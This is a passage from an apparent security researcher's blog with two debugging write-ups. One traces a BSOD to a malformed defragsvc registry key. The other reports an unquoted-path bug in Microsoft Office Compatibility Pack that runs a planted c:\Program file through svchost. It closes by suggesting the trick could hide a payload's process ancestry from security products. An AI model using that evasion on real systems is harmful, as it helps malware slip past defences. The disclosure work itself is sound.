00000096`9953f180 00007ff8`14528fb0 : 00000096`98b25f30 00000096`98b25f30 00000096`98b12600 00007ff8`14528dc9 : combase!AppInvoke+0x1af [d:\9147\com\combase\dcomrem\channelb.cxx @ 1481]
00000096`9953f270 00007ff8`14529b35 : 00000000`00000000 00000000`00070005 00000096`98b157d0 00000000`00000000 : combase!ComInvokeWithLockAndIPID+0x676 [d:\9147\com\combase\dcomrem\channelb.cxx @ 2314]
00000096`9953f4b0 00007ff8`140123c7 : 00000000`00000158 00007ff8`14529cf0 00000000`00000000 00000096`98b23eb0 : combase!ThreadInvoke+0x48a [d:\9147\com\combase\dcomrem\channelb.cxx @ 5488]
00000096`9953f580 00007ff8`14012220 : 00000096`98b1f360 00000000`00000000 00000096`9953f740 00000000`000618c8 : RPCRT4!DispatchToStubInCNoAvrf+0x33
00000096`9953f5d0 00007ff8`14029a78 : 00000096`98b1f360 00000000`00000000 00000096`00000000 00000096`98b25c90 : RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x190
00000096`9953f6d0 00007ff8`14012c86 : 00000000`000618c8 00000096`98b25c90 00000000`00000000 00000096`98b25c90 : RPCRT4!LRPC_SCALL::DispatchRequest+0x4c9
00000096`9953f7e0 00007ff8`14012ad8 : 00000096`00000000 00000096`98b189f0 00000096`98b25c90 00000096`99140000 : RPCRT4!LRPC_SCALL::HandleRequest+0x291
00000096`9953f890 00007ff8`140118bd : 00000096`98b13020 00000096`00000000 00007ff8`1406edbc 00000096`98b13128 : RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x238
00000096`9953f920 00007ff8`140116be : 00000096`98b01088 00000096`98b13128 00000000`00000000 00007ff8`1406edbc : RPCRT4!LRPC_ADDRESS::ProcessIO+0x444
00000096`9953fa60 00007ff8`15e46b30 : 00000096`98af4010 00000096`98b01040 00007ff8`14011600 00000096`9953fb18 : RPCRT4!LrpcIoComplete+0x144
00000096`9953fb00 00007ff8`15e44e68 : 00000000`00000000 00007ff8`15e46900 00000000`00000000 00000000`00000000 : ntdll!TppAlpcpExecuteCallback+0x210
00000096`9953fb70 00007ff8`13c213d2 : 00000000`00000000 00007ff8`15e445e0 00000096`98af4010 00000000`00000000 : ntdll!TppWorkerThread+0x888
00000096`9953ff50 00007ff8`15e7e954 : 00007ff8`13c213b0 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x22
00000096`9953ff80 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x34
STACK_COMMAND: kb
FOLLOWUP_IP:
nt! ?? ::NNGAKEGL::`string'+1db76
fffff801`1914ce46 cc int 3
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: nt! ?? ::NNGAKEGL::`string'+1db76
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: nt
IMAGE_NAME: ntkrnlmp.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 54c832b2
BUCKET_ID_FUNC_OFFSET: 1db76
FAILURE_BUCKET_ID: 0x51_nt!_??_::NNGAKEGL::_string_
BUCKET_ID: 0x51_nt!_??_::NNGAKEGL::_string_
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:0x51_nt!_??_::nngakegl::_string_
FAILURE_ID_HASH: {e5bde1d4-9584-25e7-f283-f0bca450261c}</span>
</pre>
We can see the stack:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">nt!KeBugCheckEx
nt! ?? ::NNGAKEGL::`string'+0x1db76
nt!HvFreeCell+0xf7
nt!CmpFreeValueData+0x6a
nt!CmpFreeValue+0x26
nt!CmpFreeKeyByCell+0xf9
nt!CmDeleteKey+0x1fd
nt!NtDeleteKey+0x25e
nt!KiSystemServiceCopyEnd+0x13
ntdll!NtDeleteKey+0xa
KERNELBASE!LocalBaseRegDeleteKeyEx+0xf7
KERNELBASE!RegDeleteKeyExInternalW+0xa1
KERNELBASE!RegDeleteTreeW+0x14d
defragsvc!SxRegDeleteKey+0x60
defragsvc!CDefragAsyncWorker::_LoadStatisticsFromRegistry+0x6f5
defragsvc!CDefragAsyncWorker::_Initialize+0x19c
defragsvc!CDefragAsyncWorker::CreateInstance+0xe6
defragsvc!CDefragEngine::_CreateAsyncForVolume+0x1f5
defragsvc!CDefragEngine::_RefreshVolumeList+0x51b
defragsvc!CDefragEngine::FinalConstruct+0x12c
defragsvc!CSxComObjectCached<CDefragEngine>::CreateInstance+0xa1
defragsvc!CSxComClassFactorySingleton<CDefragEngine>::CreateInstance+0x7b
combase!GetInstanceHelperMulti+0x4c [d:\9147\com\combase\objact\objact.cxx @ 2821]
combase!CObjServer::CreateInstance+0x57e [d:\9147\com\combase\objact\defcxact.cxx @ 662]
RPCRT4!Invoke+0x73
RPCRT4!NdrStubCall2+0x35e
RPCRT4!NdrStubCall3+0x156
combase!CStdStubBuffer_Invoke+0x6b [d:\9147\com\combase\ndr\ndrole\stub.cxx @ 1586]
combase!SyncStubInvoke+0x21d [d:\9147\com\combase\dcomrem\channelb.cxx @ 1664]
combase!CCtxComChnl::ContextInvoke+0x27a [d:\9147\com\combase\dcomrem\ctxchnl.cxx @ 1377]
combase!AppInvoke+0x1af [d:\9147\com\combase\dcomrem\channelb.cxx @ 1481]
combase!ComInvokeWithLockAndIPID+0x676 [d:\9147\com\combase\dcomrem\channelb.cxx @ 2314]
combase!ThreadInvoke+0x48a [d:\9147\com\combase\dcomrem\channelb.cxx @ 5488]
RPCRT4!DispatchToStubInCNoAvrf+0x33
RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x190
RPCRT4!LRPC_SCALL::DispatchRequest+0x4c9
RPCRT4!LRPC_SCALL::HandleRequest+0x291
RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x238
RPCRT4!LRPC_ADDRESS::ProcessIO+0x444
RPCRT4!LrpcIoComplete+0x144
ntdll!TppAlpcpExecuteCallback+0x210
ntdll!TppWorkerThread+0x888
KERNEL32!BaseThreadInitThunk+0x22
ntdll!RtlUserThreadStart+0x34</pre>
As we can see the problem occurs when the service defragsvc tries to delete a key. If we see the stack, at fffff801`18fe3463 is the ret addr of the call to the function that calls KeBugCheck, HvpRemoveFreeCellHint:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">fffff800`dd7f9451 8b943498000000 mov edx,dword ptr [rsp+rsi+98h]
fffff800`dd7f9458 458bcc mov r9d,r12d
fffff800`dd7f945b 498bcf mov rcx,r15
fffff800`dd7f945e e895010000 call nt!HvpRemoveFreeCellHint (fffff800`dd7f95f8)
fffff800`dd7f9463 4883c604 add rsi,4</pre>
<br />
We disassemble the function with IDA and we see the exact point where KeBugCheck is called:<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib1LdRdDk2G-0v12bEfiy4v1LW2ojXwCvXgtR6Vt9aJ2caddUvnQ5e2YomehhnBh4PztqD4nOJ6t9GIiNIIPE_9KcWHJndCHkA2swQOtfqUGKHAGBlG1MvUvMkiGZCGRIynwFmP0GrLs4/s1600/hvpremovefreecellhint_start.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="671" data-original-width="700" height="612" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib1LdRdDk2G-0v12bEfiy4v1LW2ojXwCvXgtR6Vt9aJ2caddUvnQ5e2YomehhnBh4PztqD4nOJ6t9GIiNIIPE_9KcWHJndCHkA2swQOtfqUGKHAGBlG1MvUvMkiGZCGRIynwFmP0GrLs4/s640/hvpremovefreecellhint_start.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
In the image we can see the exact point where KeBugCheckEx is called (from HvpRemoveFreeCellHint function).<br />
<br />
HvpRemoveFreeCellHint has these parameters:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">VOID
HvpRemoveFreeCellHint(
PHHIVE Hive,
HCELL_INDEX Cell,
ULONG Index,
HSTORAGE_TYPE Type
)</pre>
In the stack we see the pointer to the HHIVE is ffffc000`a7277000, and we can explore it:</div>
<div>
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; box-sizing: border-box; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><span style="background-color: rgba(0 , 0 , 0 , 0.03); color: #686868; font-family: "source code pro" , monospace; font-size: 16px;">3: kd> dt _HHIVE ffffc000`a7277000
nt!_HHIVE
+0x000 Signature : 0xbee0bee0
+0x008 GetCellRoutine : 0xfffff801`18fb7490 _CELL_DATA* nt!HvpGetCellPaged+0
+0x010 Allocate : 0xfffff801`18fe1d08 void* nt!CmpAllocate+0
+0x018 Free : 0xfffff801`18fe2a44 void nt!CmpFree+0
+0x020 FileWrite : 0xfffff801`190146a4 unsigned char nt!CmpFileWrite+0
+0x028 FileRead : 0xfffff801`19083128 unsigned char nt!CmpFileRead+0
+0x030 HiveLoadFailure : (null)
+0x038 BaseBlock : 0xffffc000`a7279000 _HBASE_BLOCK
+0x040 DirtyVector : _RTL_BITMAP
+0x050 DirtyCount : 0x520
+0x054 DirtyAlloc : 0x52d8
+0x058 UnreconciledVector : _RTL_BITMAP
+0x068 UnreconciledCount : 0
+0x06c BaseBlockAlloc : 0x1000
+0x070 Cluster : 1
+0x074 Flat : 0y0
+0x074 ReadOnly : 0y0
+0x074 Reserved : 0y000000 (0)
+0x075 DirtyFlag : 0x1 ''
+0x078 HvBinHeadersUse : 0x97000
+0x07c HvFreeCellsUse : 0x542620
+0x080 HvUsedCellsUse : 0x4cfe9e0
+0x084 CmUsedCellsUse : 0
+0x088 HiveFlags : 0x10200
+0x08c CurrentLog : 5
+0x090 CurrentLogSequence : 0xb53
+0x094 CurrentLogOffset : 0
+0x098 MinimumLogSequence : 0xb53
+0x09c LogFileSizeCap : 0x2000000
+0x0a0 LogDataPresent : [2] ""
+0x0a2 PrimaryFileValid : 0x1 ''
+0x0a3 BaseBlockDirty : 0 ''
+0x0a4 FirstLogFile : 0y101
+0x0a4 SecondLogFile : 0y000
+0x0a4 HeaderRecovered : 0y0
+0x0a4 LegacyRecoveryIndicated : 0y0
+0x0a4 RecoveryInformationReserved : 0y00000000 (0)
+0x0a4 RecoveryInformation : 5
+0x0a6 LogEntriesRecovered : [2] "."
+0x0a8 RefreshCount : 0
+0x0ac StorageTypeCount : 2
+0x0b0 Version : 5
+0x0b8 Storage : [2] _DUAL</span>
</pre>
BaseBlock field of the HHIVE points to the regf (the start of the hive). FirstLogFile field is the page of the first hbin block. So BaseBlock + FirstLogFile*0x1000 points to the first hbin block (read the article about registry internals to know about regf and hbin blocks).</div>
<div>
<br /></div>
<div>
We can see in the call to RegDeleteTreeW a pointer as parameter, 00000096`98b2de20, pointing to:<br />
<br />
V.o.l.u.m.e.{.9.c.2.f.1.1.c.0.-.1.3.f.6.-.4.2.4.b.-.8.a.1.2.-.8.d.7.0.1.1.e.a.7.6.1.5.}<br />
<br />
Now we will search this string from the start of first hbin, and we find it at:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">3: kd> s -a ffffc000`a737a000 L10000000 "Volume{9c2f11c0-13f6-424b-8a12-8d7011ea7615}"
ffffc000`a9164590 56 6f 6c 75 6d 65 7b 39-63 32 66 31 31 63 30 2d Volume{9c2f11c0-
ffffc000`af157500 56 6f 6c 75 6d 65 7b 39-63 32 66 31 31 63 30 2d Volume{9c2f11c0-
</pre>
Some bytes before of the second one string found, we can see the nk cell, exactly at ffffc000`af1574b4 (we see this pointer in the stack near the call to CmpFreeKeyByCell too):<br />
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">ffffc000`af1574b4 nk .l.onXa.......8".....................`.
ffffc000`af1574de G.(...............8...........,...Volume{9
ffffc000`af157508 c2f11c0-13f6-424b-8a12-8d7011ea7615}...0..</pre>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br />
It seems when this cell is going to be deleted, BSOD occurs.</div>
We can see this key with regedit:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3haSfkN99Sq6pEvnoiceeML_wE3kap3zm9NOOopRbjQ5dgLjIlZR5usOJ7ep2te2l8P8foLAFOSpNuSVLoKHcn68S8UmSjlKoe3do0dv0AldBGCqPwRf-AHuN9xspmeA6Ib_fLBzapl8/s1600/registrodefragkey.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="714" data-original-width="1299" height="351" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3haSfkN99Sq6pEvnoiceeML_wE3kap3zm9NOOopRbjQ5dgLjIlZR5usOJ7ep2te2l8P8foLAFOSpNuSVLoKHcn68S8UmSjlKoe3do0dv0AldBGCqPwRf-AHuN9xspmeA6Ib_fLBzapl8/s640/registrodefragkey.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
This is the key that causes the BSOD when we try to delete it. If we try to delete it with regedit.exe, i get the same KeBugCheck. Here is the stack:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">nt!KeBugCheckEx
nt! ?? ::NNGAKEGL::`string'+0x1db76
nt!HvFreeCell+0xf7
nt!CmpFreeValueData+0x6a
nt!CmpFreeValue+0x26
nt!CmpFreeKeyByCell+0xf9
nt!CmDeleteKey+0x1fd
nt!NtDeleteKey+0x25e
nt!KiSystemServiceCopyEnd+0x13
ntdll!NtDeleteKey+0xa
ADVAPI32!LocalBaseRegDeleteKeyEx+0xf2
ADVAPI32!RegDeleteKeyW+0x7f
regedit!RegDeleteKeyRecursive+0x13a
regedit!RegDeleteKeyRecursive+0x108
regedit!RegDeleteKeyRecursive+0x108
regedit!RegEdit_OnKeyTreeDelete+0xcb
regedit!RegEdit_OnKeyTreeCommand+0x115
regedit!RegEdit_OnCommand+0x47
regedit!RegEditWndProc+0x298
USER32!UserCallWinProcCheckWow+0x149
USER32!DispatchClientMessage+0xa2
USER32!_fnDWORD+0x3e
ntdll!KiUserCallbackDispatcherContinue
USER32!NtUserTranslateAccelerator+0xa
regedit!WinMain+0x265
regedit!__mainCRTStartup+0x1ab
KERNEL32!BaseThreadInitThunk+0x22
ntdll!RtlUserThreadStart+0x34</pre>
The registry key seems to be malformed. You can see in the capture some duplicated values: BytesPerCluster, LastRunFullDefragTime, … I guess the registry key became malformed with some sudden reboot (due to power failure). Since the registry became malformed, i had been getting BSOD randomly (between 10 to 30 minutes, each time that defragsvc started to defrag).</div>
<div>
<br />
We can get the software hive in disk: %systemroot%\system32\config\SOFTWARE (the file is locked but you can copy it with fget.exe tool, of Hbgary) and see the malformed entry there:</div>
<div>
<br />
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzdvQJPwWRWsxExDMrsrDneHZ03Nb226aoJLUEUS8QKpazRV2sUVetFFhHeLQumpnweSnuK8R0-Cl-UOAGc1HsVvQJfLqkNjRpdo_iF-5T0VxPmbP-OocGAvi_b96ZZlJNgC6JcrjemDQ/s1600/softwarehivediskdefrag.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="952" data-original-width="621" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzdvQJPwWRWsxExDMrsrDneHZ03Nb226aoJLUEUS8QKpazRV2sUVetFFhHeLQumpnweSnuK8R0-Cl-UOAGc1HsVvQJfLqkNjRpdo_iF-5T0VxPmbP-OocGAvi_b96ZZlJNgC6JcrjemDQ/s640/softwarehivediskdefrag.jpg" width="417" /></a></div>
<span style="background-color: transparent; color: #686868; font-family: "open sans" , sans-serif; font-size: 16px;">I</span></div>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
I used the SOFTWARE file that we extracted, and i tried to load this hive (with regedit you can do it) under HKEY_LOCAL_MACHINE or HKEY_USERS, on XP, Win7 and Win8 operating systems. But, when you try to delete the malformed key from the new loaded hive, the system doesn’t crash.</div>
I decided to publish the analysis because i found some interesting points, and, maybe, this problem should be fixed because, in spite of the fact this is not a security problem, a system could be totally disabled because of a registry malformation like this or similar.</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-2376496268853706032015-03-11T05:32:00.000-07:002018-05-04T09:55:38.231-07:00Microsoft Office Compatibility Pack tries to execute path without quotes<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
A couple of days ago i found a weird behaviour in my computer. When i double-clicked a .docx file, an error message appeared saying c:\Program couldn’t be executed. I don’t know when and why i had an empty file named “c:\Program” on my computer (i had been doing tests with %PROGRAMFILES% envar in my code and i guess the file derived of this).<br />
<br />
I investigated a bit about it and it seems to be a bug of the “Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint File Formats”. It seems it keeps into a registry key a path to wordconv.exe without quotes, so when svchost.exe tries to execute c:\Program files\Microsoft office\Office12\Wordconv.exe, if c:\Program exists in the machine, it executes c:\Program.<br />
<br />
<a name='more'></a><br />
It’s not an important bug and doesnt seem a security problem, because c:\Program is executed in the context of the currently logged user. However i decided to analyze the bug and you can find the analysis in this article.<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "open sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span id="more-74" style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></span></div>
<h2>
Sympthoms</h2>
<div>
<br /></div>
We have installed “Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint File Formats”:<br />
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br />
<a href="http://www.microsoft.com/en-us/download/details.aspx?id=3">http://www.microsoft.com/en-us/download/details.aspx?id=3</a><br />
<br />
And we haven’t installed a office or we have a version previous to 2007.<br />
<br />
We copy a executable file to the root of windows unit (for example c:\) with the name of the start of %PROGRAMFILES%. For example:<br />
<br />
English: c:\Program<br />
Spanish: c:\Archivos<br />
<br />
i.e, in a spanish computer: copy c:\windows\system32\calc.exe c:\Archivos<br />
<br />
Now we double click a docx file and wordconv.exe should be launched. However our executable c:\Archivos is launched.<br />
<br />
<h2>
Explanation</h2>
</div>
The reason is the path to wordconv.exe in registry hasn’t quotes:<br />
<br /></div>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "open sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0EUbYRGPocJRkDgcmLF1N_K4KQCEQasQvr9SlIDTEidOzEuD5JTZmKMkAKZegxu1Z8DFCIgPZV6qFJvi8mYQTqTTY6PqwSkI6h48qugDVcCNaprZfMzAnZrmAnKaJ6yUU0ED9t7xoG9A/s1600/registrofalloofficecompatibilitypack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="74" data-original-width="1033" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0EUbYRGPocJRkDgcmLF1N_K4KQCEQasQvr9SlIDTEidOzEuD5JTZmKMkAKZegxu1Z8DFCIgPZV6qFJvi8mYQTqTTY6PqwSkI6h48qugDVcCNaprZfMzAnZrmAnKaJ6yUU0ED9t7xoG9A/s640/registrofalloofficecompatibilitypack.jpg" width="640" /></a></div>
<br />
<br />
The launching process is svchost.exe. We attach windbg and we search this svchost.exe, and we set a bp in ZwCreateSection only for the context of this svchost.exe process:</div>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; box-sizing: border-box; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><span style="background-color: rgba(0 , 0 , 0 , 0.03); color: #686868; font-family: "source code pro" , monospace; font-size: 16px;">kd> !process 0 0 svchost.exe
…
PROCESS 8220c880 SessionId: 0 Cid: 0370 Peb: 7ffd5000 ParentCid: 02c4
DirBase: 093c00c0 ObjectTable: e197f4a8 HandleCount: 210.
Image: svchost.exe
…
kd> bp /p 8220c880 ntdll!ZwCreateSection
Breakpoint 4 hit
ntdll!ZwCreateSection:
001b:7c91d17e b832000000 mov eax,32h
kd> bl
0 d 7c80236b 0001 (0001) kernel32!CreateProcessA
1 d 7c802336 0001 (0001) kernel32!CreateProcessW
2 d 7c91d17e 0001 (0001) ntdll!ZwCreateSection
3 d 7c863231 0001 (0001) kernel32!WinExec
4 e 7c91d17e 0001 (0001) ntdll!ZwCreateSection
Match process data 8220c880
kd> kb
ChildEBP RetAddr Args to Child
00ebeb48 7c81855b 00ebefac 000f001f 00000000 ntdll!ZwCreateSection
00ebf61c 77dba96c 00000358 00000000 000a17b8 kernel32!CreateProcessInternalW+0x989
00ebf670 76a5510d 00000358 00000000 000a17b8 ADVAPI32!CreateProcessAsUserW+0x153
00ebf7d0 76a54f76 000b0a08 000cd8a8 000003e4 rpcss!CClsidData::PrivilegedLaunchActivatorServer+0x42b
00ebf84c 77e59eb6 000a1310 bc7adc2b 48d2cc8c rpcss!_LaunchActivatorServer+0xbc
00ebf8a8 77ed521a 76a54ebb 00ebf8bc 00000012 RPCRT4!Invoke+0x30
00ebfcf4 77ed56ee 00000000 00000000 000a1434 RPCRT4!NdrStubCall2+0x297
00ebfd10 77e599c4 000a1434 0009fc88 000a1434 RPCRT4!NdrServerCall2+0x19
00ebfd44 77e59929 76a41e6c 000a1434 00ebfdec RPCRT4!DispatchToStubInC+0x38
00ebfd98 77e59855 00000000 00000000 76a7f6e4 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x113
00ebfdbc 77e5ba0d 000a1434 00000000 76a7f6e4 RPCRT4!RPC_INTERFACE::DispatchToStub+0x84
00ebfdf8 77e5b86a 000a4050 0009fd98 000a4a38 RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x2db
00ebfe1c 77e5b7ae 0009fdd4 00ebfe38 000a4a38 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x16d
00ebff80 77e56caf 00ebffa8 77e56ad1 0009fd98 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x310
00ebff88 77e56ad1 0009fd98 00000008 000a0008 RPCRT4!RecvLotsaCallsWrapper+0xd
00ebffa8 77e56c97 0009d538 00ebffec 7c80b729 RPCRT4!BaseCachedThreadRoutine+0x79
00ebffb4 7c80b729 000c5f48 00000008 000a0008 RPCRT4!ThreadStartRoutine+0x1a
00ebffec 00000000 77e56c7d 000c5f48 00000000 kernel32!BaseThreadStart+0x37</span>
</pre>
We can see how svchost with DcomLauncher launchs our process c:\Archivos with CreateProcessAsUserW. The process is created in the context of the current user, so it seems not posible to use the bug to get SYSTEM privileges.<br />
<br />
If we see CreateProcessAsUserW parameters:</div>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "source code pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);</pre>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
In Windbg we can see hToken=00000358, lpApplicationName=NULL and lpCommandLine=000a17b8:<br />
<br />
000a17b8 -> C.:.\.A.r.c.h.i.v.o.s. .d.e. .p.r.o.g.r.a.m.a.\.M.i.c. r.o.s.o.f.t. .O.f. f.i.c.e.\.O.f.f.i.c.e.1.2.\.W.o.r.d. c.o.n.v…e.x.e. . -.E.m.b.e.d.d.i.n.g<br />
<br />
So the problem is the string read from registry is passed directly to CreateProcessAsUser.<br />
<br />
<h2>
Security</h2>
<div>
<br /></div>
From a security point of view, this is not a dangerous bug. The process created by svchost.exe (c:\Archivos, or c:\Program, or …) is created with the credentials of the logged user, so it seems it is not possible to escalate privileges.<br />
<br />
Maybe, it could be possible to use this to avoid some security products behavioural heuristics. You only need to install a Microsoft tool (the Microsoft Office Compatibility Pack), and dump a PE with no extension and a docx, xlsx or pptx file. Then, with this, you can get your PE executed with a legitimate svchost.exe as parent and no suspicious or injected processes in the process-tree ancestors.</div>
</div>
<script src="https://gist.github.com/vallejocc/bd59ae52f8f8a070c073bba5df92f6d3.js"></script>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0